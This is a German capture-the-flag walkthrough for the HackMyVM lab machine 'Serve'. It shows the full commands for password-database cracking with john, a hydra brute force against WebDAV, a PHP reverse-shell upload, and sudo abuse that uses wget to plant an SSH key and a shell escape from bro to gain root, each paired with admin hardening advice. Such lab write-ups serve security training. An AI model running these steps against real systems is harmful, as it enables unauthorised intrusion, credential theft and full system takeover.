Serve - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
gobuster
curl
keepass2john
john
keepassx (implizit)
python3
sed
hydra
nc (netcat)
ssh-keygen
wget
ssh
sudo
bro (Zeek)
bash
vi
chmod
cat (implizit)
ls (implizit)
id (implizit)
cd (implizit)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.111	08:00:27:71:3e:4d	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu identifizieren. Es wird ein Host mit der IP `192.168.2.111` und der MAC-Adresse `08:00:27:71:3e:4d` (zugehörig zu VirtualBox/PCS Systemtechnik GmbH) gefunden.

**Bewertung:** Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert. Die IP `192.168.2.111` ist nun bekannt und wird für weitere Scans genutzt.

**Empfehlung (Pentester):** Die identifizierte IP `192.168.2.111` als Ziel für den Nmap-Portscan verwenden.
**Empfehlung (Admin):** Netzwerk-Monitoring implementieren, um unbekannte Geräte zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.

┌──(root㉿cyber)-[~] └─# nmap -T5 -sC -sS -A 192.168.2.111 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 10:15 CEST
Nmap scan report for serve.vm (192.168.2.111)
Host is up (0.00014s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:71:3E:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms serve.vm (192.168.2.111)
                    

**Analyse:** Ein Nmap-Scan (`-T5 -sC -sS -A -p-`) auf `192.168.2.111` (Host `serve.vm`) zeigt nur einen offenen TCP-Port: * **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Zeigt die Apache-Standardseite ("It works"). Kein SSH-Port (22) ist offen.

**Bewertung:** Die Angriffsfläche ist extrem klein und beschränkt sich auf den Webserver. Da kein SSH verfügbar ist, muss der Initial Access über den Webserver erfolgen.

**Empfehlung (Pentester):** Den Webserver auf Port 80 gründlich untersuchen: 1. Mit `gobuster` nach versteckten Verzeichnissen/Dateien suchen. 2. Die Webseite manuell untersuchen (auch wenn es nur die Standardseite zu sein scheint). 3. Auf mögliche virtuelle Hosts prüfen (z.B. mit `wfuzz`).
**Empfehlung (Admin):** Wenn nur die Standardseite angezeigt wird, den Apache-Dienst deaktivieren oder sicher konfigurieren. Die Angriffsfläche minimieren, indem nicht benötigte Dienste deinstalliert werden.

Web Enumeration

Port 80 (Nginx)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.111/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,xml
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[+] Url:                     http://192.168.2.111/
[...]
===============================================================
/index.html           (Status: 200) [Size: 10701]
/secrets              (Status: 200) [Size: 133]
/webdav               (Status: 401) [Size: 486] # Authentifizierung benötigt!
===============================================================
                     

**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien auf Port 80 zu finden. Es werden spezifische Endungen (`-x php,html,txt,xml`) gesucht. Drei interessante Einträge werden gefunden: * `/index.html`: Die Standard-Apache-Seite. * `/secrets`: Ein Verzeichnis oder eine Datei (Status 200). * `/webdav`: Ein Verzeichnis oder eine Datei, die eine Authentifizierung erfordert (Status 401 Unauthorized). WebDAV (Web Distributed Authoring and Versioning) ist ein Protokoll zur Bereitstellung von Dateizugriff über HTTP.

**Bewertung:** Die Verzeichnisse `/secrets` und `/webdav` sind die vielversprechendsten Funde. `/secrets` könnte sensible Informationen enthalten, während `/webdav` nach erfolgreicher Authentifizierung möglicherweise Datei-Uploads oder -Manipulationen erlaubt.

**Empfehlung (Pentester):** 1. Das Verzeichnis `/secrets` weiter mit `gobuster` untersuchen. 2. Versuchen, auf `/webdav` zuzugreifen, um den Authentifizierungstyp zu ermitteln (z.B. mit `curl -v`). 3. Nach Standard-Credentials für WebDAV suchen oder einen Brute-Force-Angriff vorbereiten, falls Anmeldeinformationen gefunden werden.
**Empfehlung (Admin):** 1. Den Inhalt des `/secrets`-Verzeichnisses überprüfen und sicherstellen, dass keine sensiblen Daten öffentlich zugänglich sind. Den Zugriff auf dieses Verzeichnis beschränken. 2. WebDAV absichern: Starke Authentifizierung verwenden, Zugriff auf autorisierte Benutzer/IPs beschränken, Berechtigungen innerhalb der WebDAV-Freigabe granular steuern. WebDAV deaktivieren, wenn es nicht benötigt wird.

KeePass Fund & Crack

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.111/secrets -w /usr/share/seclists/Discovery/Web-Content/common.txt -x kdbx | grep kdbx
/db.kdbx              (Status: 200) [Size: 2039]
                     

**Analyse:** Eine gezielte `gobuster`-Suche im Verzeichnis `/secrets` nach Dateien mit der Endung `.kdbx` (KeePass-Datenbankdateien) ist erfolgreich und findet die Datei `db.kdbx`.

**Bewertung:** Ein extrem kritischer Fund! Eine KeePass-Datenbank enthält normalerweise eine Sammlung von Passwörtern. Wenn diese Datei zugänglich ist und das Master-Passwort geknackt werden kann, erhält der Angreifer potenziell Zugriff auf viele andere Systeme oder Dienste.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.111/secrets/db.kdbx --output dbkeypass.kdbx

**Analyse:** Die gefundene KeePass-Datei `db.kdbx` wird mit `curl` heruntergeladen und lokal als `dbkeypass.kdbx` gespeichert.

**Bewertung:** Die Datenbankdatei steht nun für die Offline-Passwortknackversuche zur Verfügung.

**Empfehlung (Pentester):** Den Hash des Master-Passworts aus der `.kdbx`-Datei extrahieren und versuchen, ihn zu knacken.
**Empfehlung (Admin):** Passwort-Datenbanken (wie KeePass) niemals in einem öffentlich zugänglichen Web-Verzeichnis speichern. Solche Dateien sollten verschlüsselt und an einem sicheren Ort aufbewahrt werden. Den Zugriff auf Verzeichnisse wie `/secrets` serverseitig stark einschränken.

┌──(root㉿cyber)-[~] └─# keepass2john dbkeypass.kdbx > dbhash
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou-NEU.txt dbhash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=Twofish, 2=ChaCha20]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (dbkeypass.kdbx)
1g 0:00:00:06 DONE (2022-10-19 10:21) 0.1562g/s 213.1p/s 213.1c/s 213.1C/s 123456..pizza1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
                     
┌──(root㉿cyber)-[~] └─# john dbhash --show
dbkeypass.kdbx:password123

1 password hash cracked, 0 left
                     

**Analyse:** 1. `keepass2john dbkeypass.kdbx > dbhash`: Extrahiert den Hash des Master-Passworts aus der KeePass-Datei in einem für John the Ripper verständlichen Format und speichert ihn in `dbhash`. 2. `john --wordlist=... dbhash`: Startet John the Ripper, um den Hash mit der Passwortliste `rockyou-NEU.txt` zu knacken. 3. John findet erfolgreich das Master-Passwort: `password123`. 4. `john dbhash --show`: Bestätigt das geknackte Passwort.

**Bewertung:** Das Master-Passwort der KeePass-Datenbank wurde geknackt. Es ist ein extrem schwaches Passwort (`password123`). Der Inhalt der Datenbank ist nun zugänglich.

**Empfehlung (Pentester):** Die KeePass-Datenbank (`dbkeypass.kdbx`) mit einem KeePass-Client (wie KeePassX oder KeePassXC) und dem gefundenen Master-Passwort `password123` öffnen. Die darin gespeicherten Anmeldeinformationen untersuchen, insbesondere auf Einträge für WebDAV oder den Benutzer `admin`.
**Empfehlung (Admin):** Ein starkes, einzigartiges Master-Passwort für KeePass-Datenbanken verwenden. Regelmäßige Passwort-Audits durchführen. Die Kompromittierung dieser Datenbank erfordert das Ändern *aller* darin gespeicherten Passwörter.

┌──(root㉿cyber)-[~] └─# apt-get install keepassx
┌──(root㉿cyber)-[~] └─# keepassx

**Analyse:** Der KeePassX-Client wird installiert und gestartet, um die Datenbankdatei mit dem geknackten Passwort zu öffnen.

**Bewertung:** Standardvorgehen, um auf die in KeePass gespeicherten Daten zuzugreifen. Der Inhalt der Datenbank ist im Log nicht dargestellt, aber die nachfolgenden Schritte implizieren, dass dort die WebDAV-Zugangsdaten (`admin` und ein Passwortmuster) gefunden wurden.

Initial Access (POC - WebDAV Upload)

WebDAV Brute-Force

┌──(root㉿cyber)-[~] └─# vi keep.py
# Inhalt von keep.py
for i in range(1000):
    print(f'w3bd4vXXX{i:03}')
                    
┌──(root㉿cyber)-[~] └─# chmod 700 keep.py
┌──(root㉿cyber)-[~] └─# python3 keep.py > dic.txt
# Annahme: Ausgabe in dic.txt
┌──(root㉿cyber)-[~] └─# sed 's/XXX//g' dic.txt > neudic.txt

**Analyse:** Ein Python-Skript (`keep.py`) wird erstellt. Dieses Skript generiert eine Liste von Zeichenketten im Format `w3bd4vXXX000` bis `w3bd4vXXX999`. Die Ausgabe wird (vermutlich) in `dic.txt` gespeichert. Anschließend wird mit `sed` das "XXX" aus jeder Zeile entfernt und das Ergebnis in `neudic.txt` gespeichert. Diese Datei enthält nun potenzielle Passwörter wie `w3bd4v000`, `w3bd4v001` etc. Diese Vorgehensweise deutet darauf hin, dass in der KeePass-Datenbank ein Passwort-Muster oder ein Hinweis wie "w3bd4v + 3 Ziffern" gefunden wurde.

**Bewertung:** Eine benutzerdefinierte Passwortliste wird basierend auf einem in der KeePass-Datenbank gefundenen Muster erstellt. Dies ist notwendig, um `hydra` gezielt auf die wahrscheinlichsten Kandidaten anzusetzen.

┌──(root㉿cyber)-[~] └─# hydra -l admin -P neudic.txt http-get://192.168.2.111/webdav
Hydra v9.1 (c) 2020 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-19 10:28:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task
[DATA] attacking http-get://192.168.2.111:80/webdav
[STATUS] 138.00 tries/min, 138 tries in 00:01h, 862 to do in 00:07h, 16 active tasks
[...]
[80][http-get] host: 192.168.2.111; login: admin; password: w3bd4v513
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-19 10:31:47
                     

**Analyse:** `hydra` wird verwendet, um einen Brute-Force-Angriff auf den `/webdav`-Endpunkt durchzuführen. * `-l admin`: Verwendet den Benutzernamen `admin` (vermutlich aus KeePass). * `-P neudic.txt`: Verwendet die zuvor generierte Passwortliste. * `http-get://192.168.2.111/webdav`: Gibt das Ziel und das Protokoll an (Hydra testet wahrscheinlich verschiedene HTTP-Auth-Methoden, hier erfolgreich mit Digest, wie später bei `curl` zu sehen). Hydra findet das gültige Passwort `w3bd4v513` für den Benutzer `admin`.

**Bewertung:** Die Zugangsdaten für den WebDAV-Dienst wurden erfolgreich ermittelt. Der Weg für den Datei-Upload ist frei.

**Empfehlung (Pentester):** Die gefundenen Credentials (`admin:w3bd4v513`) verwenden, um eine PHP-Reverse-Shell über WebDAV hochzuladen.
**Empfehlung (Admin):** Das schwache, vorhersagbare Passwortmuster für den WebDAV-Zugang ändern. Starke, zufällige Passwörter verwenden. Brute-Force-Schutzmechanismen für WebDAV implementieren.

Shell Upload & Trigger

┌──(root㉿cyber)-[~] └─# curl -T /home/darkspirit/Downloads/php-reverse-shell-1.0/brevshell.php http://192.168.2.111/webdav/ --digest -u admin:w3bd4v513

**Analyse:** Mit `curl` wird eine PHP-Reverse-Shell-Datei (`brevshell.php`) auf den WebDAV-Server hochgeladen. * `-T `: Gibt die hochzuladende Datei an. * `http://192.168.2.111/webdav/`: Die Ziel-URL (das WebDAV-Verzeichnis). Curl hängt den Dateinamen automatisch an. * `--digest`: Erzwingt die Verwendung von HTTP Digest Authentication. * `-u admin:w3bd4v513`: Die gefundenen Anmeldeinformationen.

**Bewertung:** Die PHP-Shell wurde erfolgreich über WebDAV auf den Server hochgeladen (vermutlich nach `/webdav/brevshell.php`). Apache muss so konfiguriert sein, dass PHP-Dateien auch in diesem Verzeichnis ausgeführt werden.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.111/webdav/brevshell.php --digest -u admin:w3bd4v513

**Analyse:** Die hochgeladene PHP-Datei wird mit `curl` aufgerufen, wobei wieder Digest Authentication verwendet wird. Dies löst die Ausführung des PHP-Skripts auf dem Server aus, welches die Reverse-Shell-Verbindung zum Angreifer aufbaut.

**Bewertung:** Dies ist der Trigger für den Initial Access. Eine Verbindung sollte nun beim vorbereiteten Netcat-Listener eingehen.

**Empfehlung (Pentester):** Sicherstellen, dass ein Netcat-Listener auf der im `brevshell.php` Skript definierten IP und Port läuft, *bevor* dieser `curl`-Befehl ausgeführt wird.
**Empfehlung (Admin):** Ausführung von Skriptsprachen (wie PHP) in WebDAV-Verzeichnissen deaktivieren, wenn nicht unbedingt erforderlich. Berechtigungen für WebDAV-Uploads streng kontrollieren.

**Analyse:** (Implizit, nicht im Log gezeigt) Ein Netcat-Listener (`nc -lvnp `) auf der Angreifer-Maschine empfängt die Verbindung von der ausgelösten PHP-Reverse-Shell. Die Shell läuft als der Benutzer, unter dem der Apache/PHP-Prozess ausgeführt wird (typischerweise `www-data`).

**Bewertung:** Initial Access als `www-data` erfolgreich erlangt.

Privilege Escalation

POC: Eskalation zu teo (sudo wget)

**Analyse:** (Implizit, nicht im Log gezeigt) Als `www-data` wird `sudo -l` ausgeführt. Es stellt sich heraus, dass `www-data` den Befehl `wget` als Benutzer `teo` ohne Passwort ausführen darf. Dies ist eine Fehlkonfiguration, die ausgenutzt werden kann, um Dateien als `teo` zu schreiben.

**Bewertung:** Die `sudo`-Regel erlaubt es `www-data`, beliebige Dateien herunterzuladen und *lokal* als `teo` zu speichern. Dies kann genutzt werden, um den öffentlichen SSH-Schlüssel des Angreifers in `teo`s `authorized_keys`-Datei zu platzieren.

┌──(root㉿cyber)-[~] └─# ssh-keygen
┌──(root㉿cyber)-[~] └─# python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
                     

**Analyse:** Auf der Angreifer-Maschine wird ein SSH-Schlüsselpaar generiert (`id_rsa`, `id_rsa.pub`). Ein HTTP-Server wird auf Port 4444 gestartet, um die öffentliche Schlüsseldatei (`id_rsa.pub`) bereitzustellen.

www-data@serve:/$ sudo -u teo wget http://192.168.2.110:4444/id_rsa.pub -O /home/teo/.ssh/authorized_keys

**Analyse:** Als `www-data` wird der `sudo`-Befehl ausgeführt: * `sudo -u teo`: Führt den folgenden Befehl als Benutzer `teo` aus. * `wget http://.../id_rsa.pub`: Lädt den öffentlichen Schlüssel des Angreifers herunter. * `-O /home/teo/.ssh/authorized_keys`: Speichert die heruntergeladene Datei direkt als `authorized_keys` im `.ssh`-Verzeichnis von `teo` und überschreibt eine eventuell vorhandene Datei.

**Bewertung:** Der öffentliche SSH-Schlüssel des Angreifers wurde erfolgreich in `teo`s `authorized_keys`-Datei platziert. SSH-Login als `teo` ist nun möglich.

**Empfehlung (Pentester):** Sich von der lokalen Maschine aus per SSH als `teo` mit dem zuvor generierten privaten Schlüssel (`id_rsa`) anmelden.
**Empfehlung (Admin):** Die `sudo`-Regel für `wget` entfernen. Generell sollten `sudo`-Rechte sehr restriktiv vergeben werden und niemals das Schreiben in sensible Dateien anderer Benutzer erlauben.

┌──(root㉿cyber)-[~] └─# ssh teo@serve.vm -i id_rsa
[...] # Login erfolgreich
teo@serve:~$
                     

**Analyse:** Der SSH-Login als `teo` mit dem privaten Schlüssel ist erfolgreich.

**Bewertung:** Erfolgreiche Eskalation von `www-data` zu `teo`.

POC: Eskalation zu root (sudo bro)

teo@serve:~$ sudo -l
Matching Defaults entries for teo on serve:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User teo may run the following commands on serve:
    (root) NOPASSWD: /usr/local/bin/bro curl
                     

**Analyse:** `sudo -l` als `teo` zeigt, dass dieser Benutzer den Befehl `/usr/local/bin/bro` mit dem Argument `curl` als `root` ohne Passwort ausführen darf. `bro` (jetzt bekannt als Zeek) ist ein Network Security Monitor, kann aber auch Skripte ausführen.

**Bewertung:** Dies ist der nächste PrivEsc-Vektor. Wenn `bro` mit Root-Rechten gestartet wird und eine interaktive Komponente oder eine Skriptausführung ermöglicht, kann dies zur Root-Shell missbraucht werden. Die Notwendigkeit des `curl`-Arguments ist unklar, könnte aber Teil einer spezifischen Konfiguration sein oder ignoriert werden.

teo@serve:~$ sudo -u root /usr/local/bin/bro curl
> !bash # Shell-Escape aus dem bro/zeek Interpreter
                     
root@serve:/home/teo# # Root-Shell erhalten!

**Analyse:** Der `sudo`-Befehl wird ausgeführt. Es scheint, dass `bro` in einen interaktiven Modus wechselt (angezeigt durch `>`). Im Interpreter wird `!bash` eingegeben. Dies ist ein gängiger Befehl in vielen interaktiven Tools (wie `less`, `vim`, und offenbar auch `bro`/`zeek`), um einen externen Shell-Befehl auszuführen. Da `bro` als `root` lief, wird die Bash-Shell ebenfalls als `root` gestartet.

**Bewertung:** Privilege Escalation zu Root erfolgreich abgeschlossen durch Ausnutzung der `sudo`-Regel für `bro`.

**Empfehlung (Pentester):** Root-Flag suchen und auslesen.
**Empfehlung (Admin):** Die `sudo`-Regel für `bro` entfernen. Interaktive Tools oder Tools, die Shell-Escapes ermöglichen, sollten niemals über `sudo` ausgeführt werden dürfen, wenn dies nicht absolut notwendig und durch andere Mechanismen (wie eingeschränkte Befehlssätze innerhalb des Tools) abgesichert ist.

Flags

cat /path/to/user.txt
USER_FLAG_PLATZHALTER
cat /root/root.txt
ROOT_FLAG_PLATZHALTER